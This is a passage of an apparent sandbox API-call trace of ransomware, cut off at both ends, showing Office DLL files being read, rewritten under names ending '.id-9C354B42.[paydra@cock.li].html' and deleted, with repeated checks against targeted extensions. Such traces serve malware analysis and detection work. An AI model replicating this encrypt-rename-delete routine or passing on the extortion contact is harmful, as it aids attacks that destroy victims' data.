returned 1 [0059.556] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0059.556] GetLastError () returned 0x0 [0059.556] ReadFile (in: hFile=0x180, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x2d88, lpOverlapped=0x0) returned 1 [0059.558] WriteFile (in: hFile=0x228, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2d90, lpOverlapped=0x0) returned 1 [0059.559] ReadFile (in: hFile=0x180, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.559] WriteFile (in: hFile=0x228, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.559] SetEndOfFile (hFile=0x228) returned 1 [0059.559] CloseHandle (hObject=0x228) returned 1 [0059.559] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.559] SetEndOfFile (hFile=0x180) returned 1 [0059.560] CloseHandle (hObject=0x180) returned 1 [0059.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0059.560] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 1 [0059.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.561] lstrlenW (lpString=".doc") returned 4 [0059.561] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.561] lstrlenW (lpString=".docx") returned 5 [0059.561] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0059.561] lstrlenW (lpString=".pdf") returned 4 [0059.561] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.561] lstrlenW (lpString=".xls") returned 4 [0059.561] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.561] lstrlenW (lpString=".xlsx") returned 5 [0059.561] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0059.561] lstrlenW (lpString=".ppt") returned 4 [0059.561] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.561] lstrlenW (lpString=".zip") returned 4 [0059.561] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.561] lstrlenW (lpString=".rar") returned 4 [0059.561] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.561] lstrlenW (lpString=".bz2") returned 4 [0059.561] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.561] lstrlenW (lpString=".7z") returned 3 [0059.561] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.561] lstrlenW (lpString=".dbf") returned 4 [0059.561] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.562] lstrlenW (lpString=".1cd") returned 4 [0059.562] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.562] lstrlenW (lpString=".jpg") returned 4 [0059.562] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.562] lstrlenW (lpString=".doc") returned 4 [0059.562] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.562] lstrlenW (lpString=".docx") returned 5 [0059.562] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0059.562] lstrlenW (lpString=".pdf") returned 4 [0059.562] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.562] lstrlenW (lpString=".xls") returned 4 [0059.562] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.562] lstrlenW (lpString=".xlsx") returned 5 [0059.562] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0059.562] lstrlenW (lpString=".ppt") returned 4 [0059.562] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.562] lstrlenW (lpString=".zip") returned 4 [0059.562] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.562] lstrlenW (lpString=".rar") returned 4 [0059.562] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.562] lstrlenW (lpString=".bz2") returned 4 [0059.562] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.562] lstrlenW (lpString=".7z") returned 3 [0059.562] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.562] lstrlenW (lpString=".dbf") returned 4 [0059.562] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.563] lstrlenW (lpString=".1cd") returned 4 [0059.563] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.563] lstrlenW (lpString=".jpg") returned 4 [0059.563] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.563] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0059.563] lstrlenW (lpString="ACECORE.DLL") returned 11 [0059.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.564] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3213192) returned 1 [0059.564] CloseHandle (hObject=0x180) returned 1 [0059.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll")) returned 0x20 [0059.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0059.564] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[paydra@cock.li].html")) returned 1 [0059.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.565] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0059.565] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0059.565] ReadFile (in: hFile=0x180, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.567] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x1057d8, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0059.567] ReadFile (in: hFile=0x180, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.578] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0059.578] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x2d0788, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0059.578] ReadFile (in: hFile=0x180, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.991] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.991] WriteFile (in: hFile=0x180, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0060.004] SetEndOfFile (hFile=0x180) returned 1 [0060.107] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ec1058 [0060.126] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0060.126] WriteFile (in: hFile=0x180, lpBuffer=0x3ec1058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec1058*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.556] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x1057d8, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0060.557] WriteFile (in: hFile=0x180, lpBuffer=0x3ec1058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec1058*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.562] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x2d0788, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0060.562] WriteFile (in: hFile=0x180, lpBuffer=0x3ec1058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec1058*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.567] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec1058 | out: hHeap=0x4b0000) returned 1 [0060.567] CloseHandle (hObject=0x180) returned 1 [0060.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0060.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0060.844] lstrlenW (lpString=".doc") returned 4 [0060.844] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.844] lstrlenW (lpString=".docx") returned 5 [0060.844] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0060.844] lstrlenW (lpString=".pdf") returned 4 [0060.844] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.844] lstrlenW (lpString=".xls") returned 4 [0060.844] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.844] lstrlenW (lpString=".xlsx") returned 5 [0060.844] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0060.844] lstrlenW (lpString=".ppt") returned 4 [0060.844] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0060.844] lstrlenW (lpString=".zip") returned 4 [0060.844] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.844] lstrlenW (lpString=".rar") returned 4 [0060.844] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.844] lstrlenW (lpString=".bz2") returned 4 [0060.844] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.844] lstrlenW (lpString=".7z") returned 3 [0060.844] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0060.845] lstrlenW (lpString=".dbf") returned 4 [0060.845] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0060.845] lstrlenW (lpString=".1cd") returned 4 [0060.845] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0060.845] lstrlenW (lpString=".jpg") returned 4 [0060.845] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0060.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0060.845] lstrlenW (lpString=".doc") returned 4 [0060.845] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.845] lstrlenW (lpString=".docx") returned 5 [0060.845] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0060.845] lstrlenW (lpString=".pdf") returned 4 [0060.845] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.845] lstrlenW (lpString=".xls") returned 4 [0060.845] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.845] lstrlenW (lpString=".xlsx") returned 5 [0060.845] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0060.845] lstrlenW (lpString=".ppt") returned 4 [0060.845] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0060.845] lstrlenW (lpString=".zip") returned 4 [0060.845] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.845] lstrlenW (lpString=".rar") returned 4 [0060.845] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.845] lstrlenW (lpString=".bz2") returned 4 [0060.845] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.845] lstrlenW (lpString=".7z") returned 3 [0060.845] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0060.846] lstrlenW (lpString=".dbf") returned 4 [0060.846] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0060.846] lstrlenW (lpString=".1cd") returned 4 [0060.846] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0060.846] lstrlenW (lpString=".jpg") returned 4 [0060.846] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.846] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0060.846] lstrlenW (lpString="ACEEXCL.DLL") returned 11 [0060.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0061.992] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=899992) returned 1 [0062.010] CloseHandle (hObject=0x240) returned 1 [0062.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 0x20 [0062.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0062.010] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.010] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0062.010] GetLastError () returned 0x0 [0062.010] ReadFile (in: hFile=0x240, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0xdbb98, lpOverlapped=0x0) returned 1 [0062.027] WriteFile (in: hFile=0x1dc, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xdbba0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xdbba0, lpOverlapped=0x0) returned 1 [0062.040] ReadFile (in: hFile=0x240, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.040] WriteFile (in: hFile=0x1dc, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0062.041] SetEndOfFile (hFile=0x1dc) returned 1 [0062.041] CloseHandle (hObject=0x1dc) returned 1 [0062.041] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.041] SetEndOfFile (hFile=0x240) returned 1 [0062.048] CloseHandle (hObject=0x240) returned 1 [0062.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.048] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 1 [0062.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0062.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0062.048] lstrlenW (lpString=".doc") returned 4 [0062.048] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0062.048] lstrlenW (lpString=".docx") returned 5 [0062.048] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0062.048] lstrlenW (lpString=".pdf") returned 4 [0062.048] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0062.048] lstrlenW (lpString=".xls") returned 4 [0062.048] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.048] lstrlenW (lpString=".xlsx") returned 5 [0062.048] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0062.048] lstrlenW (lpString=".ppt") returned 4 [0062.049] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0062.049] lstrlenW (lpString=".zip") returned 4 [0062.049] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.049] lstrlenW (lpString=".rar") returned 4 [0062.049] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.049] lstrlenW (lpString=".bz2") returned 4 [0062.049] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.049] lstrlenW (lpString=".7z") returned 3 [0062.049] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0062.049] lstrlenW (lpString=".dbf") returned 4 [0062.049] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0062.049] lstrlenW (lpString=".1cd") returned 4 [0062.049] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0062.049] lstrlenW (lpString=".jpg") returned 4 [0062.049] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0062.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0062.049] lstrlenW (lpString=".doc") returned 4 [0062.049] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0062.049] lstrlenW (lpString=".docx") returned 5 [0062.049] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0062.049] lstrlenW (lpString=".pdf") returned 4 [0062.049] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0062.049] lstrlenW (lpString=".xls") returned 4 [0062.049] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.049] lstrlenW (lpString=".xlsx") returned 5 [0062.049] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0062.049] lstrlenW (lpString=".ppt") returned 4 [0062.049] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0062.049] lstrlenW (lpString=".zip") returned 4 [0062.050] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.050] lstrlenW (lpString=".rar") returned 4 [0062.050] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.050] lstrlenW (lpString=".bz2") returned 4 [0062.050] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.050] lstrlenW (lpString=".7z") returned 3 [0062.050] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0062.050] lstrlenW (lpString=".dbf") returned 4 [0062.050] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0062.050] lstrlenW (lpString=".1cd") returned 4 [0062.050] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0062.050] lstrlenW (lpString=".jpg") returned 4 [0062.050] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.050] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0062.050] lstrlenW (lpString="ACEWSS.DLL") returned 10 [0062.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0062.503] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2d9ff1c | out: 